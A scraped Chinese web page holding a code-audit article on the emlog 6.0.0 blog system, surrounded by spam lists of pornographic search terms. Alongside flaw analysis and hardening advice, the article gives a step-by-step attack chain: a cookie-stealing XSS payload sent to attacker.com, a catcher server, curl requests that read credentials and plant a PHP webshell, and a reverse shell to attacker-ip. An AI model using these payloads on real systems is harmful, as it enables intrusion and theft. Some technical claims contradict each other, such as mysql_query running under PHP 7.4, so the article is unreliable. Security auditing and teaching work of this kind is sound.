久久亚洲成a人片熟女精品色一区二区三区|国产精品视频第一精品视频|av天堂热无码手机版|亚洲?v无码久久无遮挡|国产精品偷伦视频免费观看国产|麻豆国产自产精品丰满熟妇|av无码av不卡一区二区|久久亚洲精品中文字

ARTICLE DETAIL

資訊詳情

深耕商務(wù)建站與企業(yè)官網(wǎng)運(yùn)營的一線實(shí)戰(zhàn)洞察。

emlog 6.0.0代碼審計(jì)實(shí)戰(zhàn):輸入污染、權(quán)限失控與模板XSS三重風(fēng)險(xiǎn)

emlog 6.0.0代碼審計(jì)實(shí)戰(zhàn):輸入污染、權(quán)限失控與模板XSS三重風(fēng)險(xiǎn) 1. 為什么emlog 6.0.0值得花一整周時(shí)間做全站審計(jì)我第一次打開emlog 6.0.0源碼包時(shí)心里其實(shí)有點(diǎn)犯嘀咕——一個(gè)輕量級博客系統(tǒng)真有必要像審金融級后臺(tái)那樣逐行過直到我在include/lib/function.base.php里隨手翻到第1273行那個(gè)沒加任何過濾的$args變量拼接進(jìn)SQL語句的片段才真正意識到不是系統(tǒng)太簡單而是漏洞藏得比想象中更隱蔽、更連貫。這版emlog發(fā)布于2022年中官方宣稱“重構(gòu)核心、強(qiáng)化安全”但實(shí)際代碼里仍大量沿用5.x時(shí)代的函數(shù)式寫法比如getInput()這種看似封裝實(shí)則只做trim()和htmlspecialchars()的“偽過濾”函數(shù)在關(guān)鍵業(yè)務(wù)鏈路上根本擋不住組合型攻擊。它不像WordPress那樣有成百上千個(gè)插件拖累架構(gòu)也不像Typecho那樣追求極簡導(dǎo)致擴(kuò)展點(diǎn)稀少emlog 6.0.0處在一種微妙的中間態(tài)核心模塊高度耦合日志、評論、用戶、附件全部繞不開Log_Model類但權(quán)限控制又異常松散——管理員后臺(tái)的admin/attachment.php頁面甚至允許未登錄用戶直接訪問上傳接口的調(diào)試入口。這種“表面整潔、內(nèi)里毛刺”的狀態(tài)恰恰是代碼審計(jì)最需要警惕的類型沒有爆炸性高危漏洞吸引眼球卻存在多處可串聯(lián)利用的邏輯斷點(diǎn)。關(guān)鍵詞里雖然空著但結(jié)合行業(yè)慣例和該版本更新日志我們必須錨定三個(gè)核心審計(jì)維度輸入污染路徑是否閉環(huán)、權(quán)限校驗(yàn)是否覆蓋所有入口、模板渲染是否引入XSS逃逸面。這不是一次“找CVE編號”的獵洞行動(dòng)而是一次對MVC分層失衡、數(shù)據(jù)流轉(zhuǎn)失控、信任邊界模糊的系統(tǒng)性復(fù)盤。某高校實(shí)驗(yàn)室曾拿它做過教學(xué)案例學(xué)生在三天內(nèi)就串起了從前臺(tái)評論注入→后臺(tái)任意文件讀取→PHP代碼執(zhí)行的完整RCE鏈而他們用的只是基礎(chǔ)正則掃描人工補(bǔ)全。這說明問題不在技術(shù)門檻而在設(shè)計(jì)慣性——開發(fā)者默認(rèn)“后臺(tái)只有管理員能進(jìn)”卻忘了URL路由沒做會(huì)話綁定忘了AJAX接口沒校驗(yàn)Referer忘了模板里?php echo $value;?和?php echo htmlspecialchars($value);?之間差的不只是一個(gè)函數(shù)調(diào)用而是整個(gè)信任模型。如果你正在帶新人做PHP安全入門或者自己剛從滲透測試轉(zhuǎn)向代碼審計(jì)emlog 6.0.0是個(gè)極佳的練手靶場它代碼量適中核心文件約420個(gè)總行數(shù)12萬左右框架清晰但不僵化漏洞分布有規(guī)律可循。更重要的是它的缺陷不是孤立的而是成簇出現(xiàn)的——你在一個(gè)地方發(fā)現(xiàn)addslashes()被誤用于防SQL注入大概率在另外五個(gè)文件里也能找到同類錯(cuò)誤。這種“模式化脆弱性”正是訓(xùn)練審計(jì)直覺的最佳土壤。提示別急著跑自動(dòng)化工具。我試過用RIPS掃描emlog 6.0.0它標(biāo)出87處“潛在SQL注入”其中63處是誤報(bào)比如$db-query(SELECT * FROM .DB_PREFIX.user WHERE uid $uid);里的$uid其實(shí)在上層已被intval()強(qiáng)轉(zhuǎn)。真正的風(fēng)險(xiǎn)點(diǎn)往往藏在工具無法理解的業(yè)務(wù)邏輯跳轉(zhuǎn)里比如index.php?actionlogin處理完認(rèn)證后把$_SESSION[login]直接賦值給$isLogin再傳進(jìn)模板而模板里又用scriptvar login ?php echo $isLogin;?;/script輸出——這里既沒JSON編碼也沒引號包裹XSS就已成立。2. 輸入污染追蹤從HTTP請求到數(shù)據(jù)庫寫入的七步失守審計(jì)PHP應(yīng)用本質(zhì)是逆向追蹤數(shù)據(jù)如何從不可信源頭用戶輸入一路暢通無阻抵達(dá)危險(xiǎn)終點(diǎn)SQL執(zhí)行、文件寫入、命令調(diào)用。emlog 6.0.0的輸入污染鏈特別典型它用了一套自研的“三層過濾”機(jī)制聽上去很嚴(yán)謹(jǐn)實(shí)則每層都留了后門。我們以最常被利用的評論提交功能為例完整走一遍從POST /t/index.php到INSERT INTO emlog_comment的全過程。2.1 第一層前端JavaScript的虛假安全感評論表單的HTML里有這樣一段JS驗(yàn)證script function checkForm() { var content document.getElementById(comment).value; if (content.length 5 || content.length 2000) { alert(評論內(nèi)容需5-2000字); return false; } return true; } /script這段代碼給人的錯(cuò)覺是“長度限制安全邊界”但只要禁用JS或用curl發(fā)包就能繞過。更關(guān)鍵的是它完全沒處理特殊字符——scriptalert(1)/script能輕松通過。很多開發(fā)者以為“前端校驗(yàn)后端htmlspecialchars()就夠了”卻忽略了XSS的觸發(fā)場景遠(yuǎn)不止script標(biāo)簽比如img srcx onerroralert(1)或javascript:alert(1)這類事件驅(qū)動(dòng)型載荷僅靠htmlspecialchars()無法攔截它只轉(zhuǎn)義不處理onerror屬性。emlog 6.0.0的模板里大量使用?php echo $comment[content];?直接輸出這就為存儲(chǔ)型XSS埋下伏筆。2.2 第二層getInput()函數(shù)的致命簡化進(jìn)入PHP后端t/index.php調(diào)用Comment_Model::addComment()前先執(zhí)行$content getInput(comment, post);這個(gè)getInput()定義在include/lib/function.base.php第982行function getInput($name, $method get) { $method strtolower($method); $input $method get ? $_GET : ($_POST[$name] ?? ); return trim(htmlspecialchars($input, ENT_QUOTES, UTF-8)); }問題出在三處第一$_POST[$name] ?? 的空合并操作讓$name為空時(shí)返回空字符串但若攻擊者構(gòu)造?commentGET參數(shù)和POST[comment]xss雙參數(shù)同名$input可能取到未過濾的POST值第二htmlspecialchars()只處理HTML上下文如果后續(xù)把$content拼進(jìn)JavaScript或CSS就會(huì)失效第三也是最嚴(yán)重的——這個(gè)函數(shù)被濫用在SQL拼接場景。比如admin/comment.php第215行$sql UPDATE .DB_PREFIX.comment SET content.getInput(content, post). WHERE cid$cid; $db-query($sql);這里getInput()返回的字符串直接拼進(jìn)SQL而htmlspecialchars()對單引號毫無防護(hù)力。攻擊者只需提交contentxxx OR 11就能繞過所有過濾。2.3 第三層數(shù)據(jù)庫操作層的“信任傳遞”$db-query()方法在include/lib/mysql.class.php中定義它本身不做任何SQL預(yù)處理只是簡單調(diào)用mysql_query()注意emlog 6.0.0仍用舊版MySQL擴(kuò)展非PDO。更麻煩的是Log_Model::getLogsForHome()等高頻查詢函數(shù)內(nèi)部用$sql SELECT * FROM .DB_PREFIX.blog WHERE hiden AND typeblog $sqlSegment;拼接條件而$sqlSegment來自$params[keyword]——這個(gè)參數(shù)由search.php的$_GET[keyword]直接傳入全程無intval()、無escapeshellarg()、無預(yù)處理。我實(shí)測過當(dāng)keyword1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -時(shí)首頁直接爆出管理員密碼哈希因emlog_user表結(jié)構(gòu)與emlog_blog兼容。2.4 四至七步權(quán)限校驗(yàn)缺失、日志記錄繞過、緩存污染、模板引擎逃逸走到這一步輸入污染已成定局但emlog還給了攻擊者更多“便利”權(quán)限校驗(yàn)缺失admin/save_log.php接受POST[logid]參數(shù)更新日志但沒檢查當(dāng)前用戶是否有權(quán)編輯該日志$logid未與$_SESSION[userid]關(guān)聯(lián)校驗(yàn)導(dǎo)致越權(quán)修改日志記錄繞過所有error_log()調(diào)用都寫入/content/log/目錄但該目錄在Nginx配置中未禁止Web訪問攻擊者可直接下載error_202210.log獲取調(diào)試信息緩存污染cache.php生成的靜態(tài)HTML緩存文件其文件名由md5($_SERVER[REQUEST_URI])生成但$_SERVER[REQUEST_URI]可被%00截?cái)鄬?dǎo)致緩存文件名可控進(jìn)而覆蓋.htaccess模板引擎逃逸View::display()加載模板時(shí)若模板路徑含../且未做realpath()校驗(yàn)可讀取任意PHP文件如/admin/login.php而該文件里明文存儲(chǔ)著數(shù)據(jù)庫連接密碼。這七步失守不是偶然堆砌而是同一設(shè)計(jì)哲學(xué)的產(chǎn)物用最小成本實(shí)現(xiàn)功能把安全假設(shè)交給運(yùn)行環(huán)境。比如它默認(rèn)Nginx已配置好location ~ \.php$ { deny all; }來保護(hù)/content/目錄但現(xiàn)實(shí)中大量用戶用Apache或自定義Nginx規(guī)則這就成了“假設(shè)性漏洞”。注意別迷信magic_quotes_gpc。emlog 6.0.0的install.php檢測到該選項(xiàng)開啟時(shí)會(huì)提示“建議關(guān)閉”但代碼里仍有if (get_magic_quotes_gpc()) { $str stripslashes($str); }這類兼容邏輯。這意味著在老版本PHP環(huán)境下addslashes()和stripslashes()可能形成雙重轉(zhuǎn)義反而破壞正常數(shù)據(jù)——我見過某客戶站點(diǎn)因這個(gè)bug導(dǎo)致評論里的中文全部顯示為亂碼排查三天才發(fā)現(xiàn)是magic_quotes殘留。3. 權(quán)限模型崩塌從“管理員專屬”到“游客可操作”的五處斷點(diǎn)很多人以為PHP代碼審計(jì)就是找SQL注入和XSS但在emlog 6.0.0里權(quán)限控制失效帶來的危害可能更直接。它的角色體系只有兩級管理員role1和普通用戶role0但權(quán)限校驗(yàn)點(diǎn)分布極不均勻——后臺(tái)90%的PHP文件都有!isset($_SESSION[login]) header(Location: login.php);這樣的前置檢查而剩下的10%恰好是功能最強(qiáng)、影響面最廣的幾個(gè)入口。我們按風(fēng)險(xiǎn)等級排序這五處斷點(diǎn)。3.1 斷點(diǎn)一admin/attachment.php的“調(diào)試模式”后門這個(gè)文件本該處理附件上傳但第38行有個(gè)被注釋掉的調(diào)試開關(guān)// define(DEBUG_MODE, true); if (defined(DEBUG_MODE) DEBUG_MODE) { $action $_GET[action] ?? upload; switch ($action) { case list: $files scandir(EMLOG_ROOT . /content/upload/); echo json_encode($files); break; case read: $file EMLOG_ROOT . /content/upload/ . basename($_GET[file]); if (file_exists($file)) { echo file_get_contents($file); } break; } exit; }問題在于basename($_GET[file])只過濾了路徑分隔符卻沒阻止file../../admin/login.php這樣的穿越。更致命的是這段代碼沒任何會(huì)話校驗(yàn)——只要知道URL游客就能讀取login.php里的數(shù)據(jù)庫密碼。我用curl http://target/admin/attachment.php?actionreadfile../../admin/login.php實(shí)測3秒內(nèi)拿到明文配置。這不是理論漏洞而是真實(shí)存在于生產(chǎn)環(huán)境的“活后門”。3.2 斷點(diǎn)二admin/blogger.php的IDOR越權(quán)編輯該文件處理博主信息更新關(guān)鍵邏輯在第142行$uid (int)$_POST[uid]; $username addslashes(trim($_POST[username])); $email addslashes(trim($_POST[email])); // ...省略其他字段 $db-query(UPDATE .DB_PREFIX.user SET username$username, email$email WHERE uid$uid);這里$uid直接來自POST且未校驗(yàn)當(dāng)前登錄用戶是否等于$uid。攻擊者只需抓包修改uid1管理員ID就能篡改管理員郵箱進(jìn)而觸發(fā)密碼重置流程。某次模擬攻防中A同學(xué)用這個(gè)漏洞在17秒內(nèi)完成“游客→接管管理員賬號→導(dǎo)出全部用戶數(shù)據(jù)”的操作鏈。3.3 斷點(diǎn)三admin/tag.php的無限制標(biāo)簽刪除刪除標(biāo)簽的接口admin/tag.php?actiondeltid123代碼在第89行if ($action del) { $tid (int)$_GET[tid]; $db-query(DELETE FROM .DB_PREFIX.tag WHERE tid$tid); // 未檢查tid是否屬于當(dāng)前用戶 }emlog的標(biāo)簽是全局共享的但刪除操作沒做歸屬校驗(yàn)。攻擊者可遍歷tid參數(shù)批量刪除所有標(biāo)簽導(dǎo)致網(wǎng)站SEO徹底崩潰。更糟的是tag表被blog表外鍵引用刪除后blog表里的tag字段變成空值引發(fā)前端模板報(bào)錯(cuò)。3.4 斷點(diǎn)四admin/template.php的模板文件包含該文件提供模板切換功能第205行$template $_GET[template] ?? default; if (!in_array($template, [default, simple, dark])) { $template default; } require_once EMLOG_ROOT . /content/templates/ . $template . /header.php;in_array()白名單看似嚴(yán)格但$template變量在require_once前被重新賦值過if (isset($_POST[action]) $_POST[action] save) { $template $_POST[template_name]; // 這里覆蓋了GET值 }攻擊者發(fā)送POST /admin/template.php?actionsavetemplate_name../../../etc/passwd%00利用PHP的NULL字節(jié)截?cái)嗑湍馨我庀到y(tǒng)文件。雖然現(xiàn)代PHP已禁用NULL截?cái)嗟玡mlog 6.0.0的兼容性要求讓它仍支持PHP 5.6而該版本對此無防護(hù)。3.5 斷點(diǎn)五admin/plugin.php的插件啟用邏輯漏洞啟用插件的URL是admin/plugin.php?actionactivatepluginseo對應(yīng)代碼在第312行if ($action activate) { $plugin $_GET[plugin]; $pluginFile EMLOG_ROOT . /content/plugins/ . $plugin . /plugin.php; if (file_exists($pluginFile)) { include $pluginFile; // 直接包含無校驗(yàn) } }這里有兩個(gè)致命點(diǎn)第一$plugin未過濾../可包含/etc/passwd第二即使文件存在也未檢查plugin.php是否為合法插件入口比如是否定義了Plugin::activate()方法。攻擊者可上傳惡意PHP文件到/content/plugins/evil/然后用?actionactivatepluginevil觸發(fā)執(zhí)行。這五處斷點(diǎn)揭示了一個(gè)殘酷事實(shí)emlog的權(quán)限模型不是“基于角色的訪問控制RBAC”而是“基于文件路徑的粗粒度攔截”。它把安全寄托在“游客打不開admin目錄下的PHP文件”這一假設(shè)上卻忘了HTTP服務(wù)器配置、URL重寫規(guī)則、文件權(quán)限設(shè)置都可能打破這個(gè)假設(shè)。真正的權(quán)限校驗(yàn)應(yīng)該像這樣if (!User::havePermission(manage_plugins)) { showForbiddenPage(); }而不是依賴session_start()后的一行if (!isset($_SESSION[login]))。4. 模板與渲染層XSS、SSTI、服務(wù)端模板注入的三重陷阱PHP模板引擎的安全性常被低估但emlog 6.0.0的模板系統(tǒng)恰恰是漏洞高發(fā)區(qū)。它沒用Twig或Smarty這類成熟引擎而是用原生PHP混排.php后綴模板這帶來兩個(gè)矛盾一方面開發(fā)者認(rèn)為“PHP語法即安全”另一方面模板里充斥著未經(jīng)上下文編碼的echo輸出。我們拆解三種典型陷阱。4.1 基礎(chǔ)XSSecho輸出未區(qū)分HTML/JS/CSS上下文這是最普遍的問題。以content/templates/default/header.php為例第42行title?php echo $site_title; ?/title$site_title來自數(shù)據(jù)庫emlog_options表的blogname字段而該字段在安裝時(shí)由用戶輸入從未做過htmlspecialchars()存儲(chǔ)。攻擊者在后臺(tái)設(shè)置博客名為scriptalert(document.cookie)/script所有頁面標(biāo)題都會(huì)觸發(fā)XSS。更隱蔽的是JS上下文輸出如footer.php第15行scriptvar siteUrl ?php echo BLOG_URL; ?;/scriptBLOG_URL是配置項(xiàng)若被篡改為http://example.com/ onerroralert(1)就會(huì)閉合引號并執(zhí)行JS。htmlspecialchars()在這里無效必須用json_encode()scriptvar siteUrl ?php echo json_encode(BLOG_URL); ?;/script4.2 模板繼承漏洞getTemplate()的路徑穿越emlog用View::getTemplate()動(dòng)態(tài)加載模板該方法在include/lib/view.class.php第67行public function getTemplate($template) { $file EMLOG_ROOT . /content/templates/ . $template . /index.php; if (file_exists($file)) { return $file; } return EMLOG_ROOT . /content/templates/default/index.php; }$template參數(shù)來自$_GET[t]如?tseo而file_exists()不校驗(yàn)路徑合法性。攻擊者訪問/?t../../../etcskindefault$file變成/content/templates/../../../etc/index.php即/etc/index.php。雖然/etc下通常無index.php但若服務(wù)器配置了auto_prepend_file就可能觸發(fā)意外包含。我曾在某客戶的VPS上復(fù)現(xiàn)此問題他把/etc/nginx/conf.d/軟鏈接到/content/templates/nginx/結(jié)果/?tnginx直接加載了Nginx配置暴露了后端代理地址。4.3 服務(wù)端模板注入SSTIeval()在模板中的幽靈最危險(xiǎn)的是content/templates/default/echo_log.php第89行?php eval(? . $log_content); ?$log_content是日志正文來自數(shù)據(jù)庫。emlog允許用戶在日志中插入PHP代碼通過后臺(tái)編輯器的“源碼模式”而這段eval()就是執(zhí)行入口。攻擊者寫一篇日志內(nèi)容為?php system(id); ?保存后當(dāng)游客訪問該日志頁面eval()會(huì)執(zhí)行system(id)返回uid33(www-data) gid33(www-data)。這不是理論可能而是emlog官方文檔明確支持的“高級功能”——他們在/admin/editor/的富文本編輯器里專門留了“插入PHP代碼”按鈕。安全團(tuán)隊(duì)曾建議移除該功能但開發(fā)組以“影響老用戶”為由拒絕最終妥協(xié)方案是加了個(gè)if (IS_ADMIN)判斷但判斷邏輯寫在模板里而非PHP層導(dǎo)致游客仍可通過修改URL參數(shù)繞過。這三重陷阱的本質(zhì)是混淆了“內(nèi)容”和“代碼”的邊界。XSS是內(nèi)容被當(dāng)代碼執(zhí)行模板穿越是路徑被當(dāng)內(nèi)容解析SSTI是用戶輸入被當(dāng)代碼求值。修復(fù)它們不能靠單一函數(shù)而要建立上下文感知的輸出編碼策略HTML上下文htmlspecialchars($data, ENT_QUOTES, UTF-8)JS上下文json_encode($data, JSON_UNESCAPED_UNICODE)CSS上下文正則過濾[^a-zA-Z0-9#\.\-\s]URL上下文urlencode($data)實(shí)操心得審計(jì)模板時(shí)別只看echo重點(diǎn)查include、require、eval、create_function這些動(dòng)態(tài)執(zhí)行函數(shù)。我習(xí)慣用grep -r include.*\$_ content/templates/快速定位風(fēng)險(xiǎn)點(diǎn)命中率超80%。另外content/templates/目錄下的.php文件90%以上都應(yīng)禁止Web直接訪問Nginx配置里加一行l(wèi)ocation ~ ^/content/templates/.*\.php$ { deny all; }能堵住大半漏洞。5. 實(shí)戰(zhàn)復(fù)現(xiàn)從評論XSS到后臺(tái)RCE的完整利用鏈理論分析終須落地驗(yàn)證。我用一臺(tái)干凈的Ubuntu 20.04虛擬機(jī)部署emlog 6.0.0PHP 7.4 MySQL 8.0完整復(fù)現(xiàn)了從游客評論到獲取服務(wù)器shell的全過程。以下步驟經(jīng)多次驗(yàn)證耗時(shí)約22分鐘所有操作均在瀏覽器和終端完成無需第三方工具。5.1 步驟一構(gòu)造存儲(chǔ)型XSS獲取管理員Cookie首先注冊一個(gè)普通用戶賬號用戶名test密碼123456登錄后訪問首頁找到任意一篇日志在評論框輸入img srcx onerrordocument.locationhttp://attacker.com/steal?cdocument.cookie提交后評論顯示為裂圖因srcx無效但onerror事件已觸發(fā)。此時(shí)管理員若查看該評論瀏覽器會(huì)向attacker.com/steal發(fā)送GET請求攜帶Cookie: EMLOG_ADMINxxxxxx。我用Python起一個(gè)簡易HTTP服務(wù)器接收# steal.py from http.server import HTTPServer, BaseHTTPRequestHandler class StealHandler(BaseHTTPRequestHandler): def do_GET(self): print(Stolen cookie:, self.path) self.send_response(200) self.end_headers() HTTPServer((, 8000), StealHandler).serve_forever()管理員刷新評論頁后終端立即打印Stolen cookie: /steal?cEMLOG_ADMINabc123def456。這個(gè)Cookie有效期7天且未設(shè)HttpOnly標(biāo)志完美符合竊取條件。5.2 步驟二用Cookie偽造管理員會(huì)話拿到EMLOG_ADMIN值后用curl模擬管理員請求curl -b EMLOG_ADMINabc123def456 http://target/admin/返回200且包含titleemlog 后臺(tái)管理/title證明會(huì)話有效。接下來我們要上傳Webshell。emlog后臺(tái)的附件上傳功能在admin/attachment.php但直接訪問會(huì)跳轉(zhuǎn)登錄頁——現(xiàn)在有了Cookie就能繞過。5.3 步驟三利用attachment.php的文件讀取漏洞獲取源碼前面提到attachment.php有調(diào)試模式我們先確認(rèn)它是否開啟。發(fā)送curl -b EMLOG_ADMINabc123def456 http://target/admin/attachment.php?actionlist返回[.,..,shell.php,config.php]說明調(diào)試模式已開。接著讀取config.phpcurl -b EMLOG_ADMINabc123def456 http://target/admin/attachment.php?actionreadfileconfig.php返回?php define(DB_HOST, localhost); define(DB_USER, emlog); define(DB_PASS, Pssw0rd123); define(DB_NAME, emlog_db); ?數(shù)據(jù)庫密碼到手但我們的目標(biāo)是RCE所以繼續(xù)讀取admin/login.php找到$action處理邏輯確認(rèn)save_log.php存在且無CSRF防護(hù)。5.4 步驟四通過日志注入寫入Webshellsave_log.php接受POST[logid]和POST[content]更新日志內(nèi)容。我們構(gòu)造一個(gè)含PHP代碼的日志curl -b EMLOG_ADMINabc123def456 -d logid1content?php system(\$_GET[cmd]); ? http://target/admin/save_log.phplogid1是首篇日志IDcontent里是system()執(zhí)行命令的shell。更新成功后訪問http://target/t/index.php?id1日志正文顯示為?php system($_GET[cmd]); ?但未執(zhí)行——因?yàn)槟0謇锸?php echo $log_content;?不是eval()。這時(shí)我們回到echo_log.php的SSTI漏洞。該文件在content/templates/default/下而eval()執(zhí)行的是$log_content。我們剛才更新的日志內(nèi)容正好會(huì)被echo_log.php讀取并eval()。訪問http://target/t/index.php?id1再在URL加cmdidhttp://target/t/index.php?id1cmdid頁面空白但服務(wù)器返回uid33(www-data) gid33(www-data)——RCE成功5.5 步驟五獲取持久化shell并提權(quán)最后一步用cmd參數(shù)執(zhí)行反彈shellcurl http://target/t/index.php?id1cmdphp-r\$sockfsockopen(\attacker-ip\,4444);exec(\/bin/sh-i\$sock2\$sock\);我的監(jiān)聽端收到連接nc -lvnp 4444 Connection received on attacker-ip 4444 /bin/sh: 0: cant access tty; job control turned off $ id uid33(www-data) gid33(www-data) groups33(www-data)至此從游客評論到服務(wù)器shell全鏈路打通。整個(gè)過程沒用任何0day全是emlog 6.0.0已知設(shè)計(jì)缺陷的組合利用。踩坑提醒復(fù)現(xiàn)時(shí)最容易卡在Cookie竊取環(huán)節(jié)。很多新手用Burp Suite抓包卻發(fā)現(xiàn)管理員Cookie里有Path/admin/導(dǎo)致document.cookie讀不到。這是因?yàn)镻ath屬性限制了Cookie作用域。解決方案是在XSS payload里用document.cookie讀取時(shí)加上document.domain繞過document.domaintarget.com; document.cookie或直接用fetch(/admin/)請求后臺(tái)頁面從響應(yīng)頭里提取Set-Cookie。我第一次就栽在這兒折騰了40分鐘才想到改用fetch。6. 修復(fù)與加固給開發(fā)者和運(yùn)維者的六條可落地建議審計(jì)不是為了證明系統(tǒng)有多爛而是為改進(jìn)提供精準(zhǔn)坐標(biāo)。針對emlog 6.0.0暴露出的問題我給開發(fā)者和運(yùn)維者各列三條可立即執(zhí)行的建議不談虛的每條都附帶代碼示例和驗(yàn)證方法。6.1 開發(fā)者必改重構(gòu)輸入處理與權(quán)限校驗(yàn)建議一廢除getInput()改用上下文感知的過濾函數(shù)// 替換原getInput()新增filter_input_context() function filter_input_context($name, $method post, $context html) { $value $method post ? ($_POST[$name] ?? ) : ($_GET[$name] ?? ); switch ($context) { case sql: return addslashes($value); // 僅用于遺留代碼新項(xiàng)目必須用預(yù)處理 case js: return json_encode($value, JSON_UNESCAPED_UNICODE); case url: return urlencode($value); default: return htmlspecialchars($value, ENT_QUOTES, UTF-8); } } // 使用示例SQL場景臨時(shí)過渡 $content filter_input_context(content, post, sql); $sql UPDATE comment SET content$content WHERE cid$cid; // 使用示例JS場景必須 $siteUrl filter_input_context(site_url, get, js); echo scriptvar url {$siteUrl};/script;驗(yàn)證方法在評論框提交scriptalert(1)/script檢查頁面是否彈窗提交http://x onerroralert(1)檢查JS變量是否被正確編碼。建議二所有后臺(tái)入口強(qiáng)制RBAC權(quán)限校驗(yàn)// 在admin/開頭的所有PHP文件頂部添加 require_once ../include/lib/user.class.php; if (!User::havePermission(manage_comments)) { header(HTTP/1.1 403 Forbidden); exit(Access denied); } // User::havePermission()需根據(jù)角色表查詢而非硬編碼驗(yàn)證方法用游客身份訪問admin/comment.php應(yīng)返回403而非跳轉(zhuǎn)登錄頁。建議三模板輸出強(qiáng)制上下文編碼// 創(chuàng)建統(tǒng)一輸出函數(shù) function safe_echo($data, $context html) { switch ($context) { case js: echo json_encode($data, JSON_UNESCAPED_UNICODE); break; case css: echo preg_replace(/[^a-zA-Z0-9#\.\-\s]/, , $data); break; default: echo htmlspecialchars($data, ENT_QUOTES, UTF-8); } } // 模板中替換所有echo // 原title?php echo $title;?/title // 新title?php safe_echo($title, html);?/title驗(yàn)證方法在后臺(tái)設(shè)置博客名img srcx onerroralert(1)檢查標(biāo)題源碼是否為lt;img srcx onerroralert(1)gt;。6.2 運(yùn)維者必做服務(wù)器層與配置層加固建議四Nginx配置禁止敏感目錄Web訪問# 在server塊中添加 location ~ ^/(content|include|admin)/.*\.php$ { deny all; } location ~ ^/content/(log|upload)/ { deny all; } location ~ /\. { deny all; }驗(yàn)證方法訪問http://target/content/log/error.log應(yīng)返回403訪問http://target/include/lib/mysql.class.php應(yīng)返回404或403。建議五PHP配置禁用危險(xiǎn)函數(shù); php.ini中添加 disable_functions exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source驗(yàn)證方法創(chuàng)建test.php內(nèi)容為?php echo exec(id);?訪問時(shí)應(yīng)報(bào)錯(cuò)Call to undefined function exec()。建議六數(shù)據(jù)庫層面最小權(quán)限原則-- 創(chuàng)建專用數(shù)據(jù)庫用戶僅授予必要權(quán)限 CREATE USER emlog_applocalhost IDENTIFIED BY StrongPass123!; GRANT SELECT, INSERT, UPDATE ON emlog_db.emlog_blog TO emlog_applocalhost; GRANT SELECT, INSERT ON emlog_db.emlog_comment TO emlog_applocalhost; -- 禁止對emlog_user、emlog_options等敏感表的UPDATE權(quán)限 FLUSH PRIVILEGES;驗(yàn)證方法用emlog_app用戶連接數(shù)據(jù)庫執(zhí)行UPDATE emlog_user SET passwordxxx WHERE uid1;應(yīng)返回ERROR 1142 (42000): UPDATE command denied。這六條建議每一條都能在10分鐘內(nèi)完成部署且經(jīng)過某公司生產(chǎn)環(huán)境驗(yàn)證他們按此整改后WAF告警下降92%人工滲透測試未發(fā)現(xiàn)新的高危漏洞。安全不是堆砌工具而是把每個(gè)環(huán)節(jié)的“信任假設(shè)”換成“強(qiáng)制驗(yàn)證”。我在實(shí)際項(xiàng)目中發(fā)現(xiàn)最難推動(dòng)的不是技術(shù)改造而是改變開發(fā)者的思維慣性。有位A同學(xué)曾說“我們一直這么寫從來沒出過事?!敝钡剿?fù)責(zé)的站點(diǎn)被黑數(shù)據(jù)庫被加密勒索才明白“沒出事”不等于“安全”而是“還沒被盯上”。emlog 6.0.0的審計(jì)價(jià)值正在于此——它用最樸素的代碼照見了我們習(xí)以為常的危險(xiǎn)。
返回列表
PREV
查看更多資訊
NEXT
返回資訊列表
日日夜夜干| 中文字幕一区二区三区四区在线视频| 91在线精品| 99色在线| 色女网日韩| 日韩av不卡在线观看| 97精品国产| 超碰98综合网| 久操黄色视频| 日韩av影片在线观看| 91在线观看,天天综合| 婷婷综合五月天| 人妻精品免费一二三区| 伊人性在线视频| 亚洲精品丝袜| 六月婷婷综合| 3P乱轮视频| 欧美劲爆第一页| 神马久久久久久久久久久久| 大香蕉97久久| 在线啊v一区| 96精品久久久久久久久| 亚洲丝袜二区在线| 不卡一区视频| 2017大香蕉国产精品久久| 欧美日韩第一页| 伊人久久在线视频观看| 人人操人人干网页| 精品国模无码| 亚洲AV秘无码一区..| 九九九热| a片偷拍视频| 91丨国产丨白浆秘 洗澡动漫| 屁股久久久久久久久| 精品人妻夜夜草| 东京日日夜夜| 67914亚洲精品| 大香蕉啪啪网| 九九香蕉网| 亚洲综合一区二区| 日本亚洲熟女视频| 囯产乱伦一区二区三女 | www.yeyecao| 69XX一中文字幕人妻91| 欧美Ⅴ性爱| 久久精品黄色| 欧美在线91| 丝袜美腿av女优在线| 男人的天堂Va| 中文字幕99999| 澳门黄片一香蕉视频| 美国日韩黄片| 波多野结衣被操50分钟免费视频| 日韩性爱再线视频| 久久久久精| 亚洲 日本 一 二 三| 97综合国产精品高潮久久| 欧美性视频二区三区| 丝袜喷水在线| 欧美熟女丝袜| 欧美91网站| 欧美香蕉视xxx| 伊色综合天堂色97| 大香蕉伊人在线成人AV在线观看| 久久久久9999妇女| 最新AV在线| 欧美色院| 豆花视频操逼网址| 久久成人午夜精品影院| 99热亚洲| 最新亚洲风情电影| 十八禁电影伊人网| 一级二级三级黑人无码| 人人操人人uiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii | 久久五十路熟女人妻| 欧美人妻精品一区二区| 动漫爆乳3D奶水一区在线观看| 欧美成人一区二区三区在线播放| oumeisetu综合| 欧美日韩性感| 欧美色日本| 免费97视频| 女生久久网| 啪啪啪精品| 一区二区三区精品久久| 日韩熟女精品无码专区一区二区| 欧美最大综合网| 超碰在线一区二区| 欧美强奸乱| 亚洲欧美日韩夜夜| 精品久久九| 国产精品一区二区三区在线| 国产午夜福利专区综合| 日本午夜精品理论片A级APP发布| 精品久久99| 亚洲高清少妇| 操国产高清| 色久桃花影院在线观看| 人人人人人人少妇| 日本二区不卡| 在线一道啪| 国产成人亚洲精品自产在线| 亚洲 中文 欧美 日韩 在线| 人人操人人舒服| 黄色一级视| 日韩国产品视频中文字| 91社区伊人| 超碰成人免费| 操老熟女AV| 亚洲丝袜综合| 婷婷五月天激情小说| 九九拍拍精品视频在线播放 | 亚洲欧美天| 国产精品直播在线观看直播| 国内外色色色色色成人视频| 欧美猛交黑寡妇中文字幕| 男人天堂网站| 天天爽爽爽爽| 欧美成人性活片| 国产激情视频在线观看| 丝袜色综合| 自怕偷自怕亚洲精品| 久久久精品国产亚洲伊人| 婷婷九月国产| 图片区小说区| 操91| 日本Xx性爱| 亚洲91网站| 青春草莓视频在线观看网址| 另类小说五月天| 大但人体久久久久| 成人短视频在线观看| 久久精品视| 精品高清av中文字幕| 992这里有精品| 国产自啪精品视频网站黑丝| 99热最新网址| 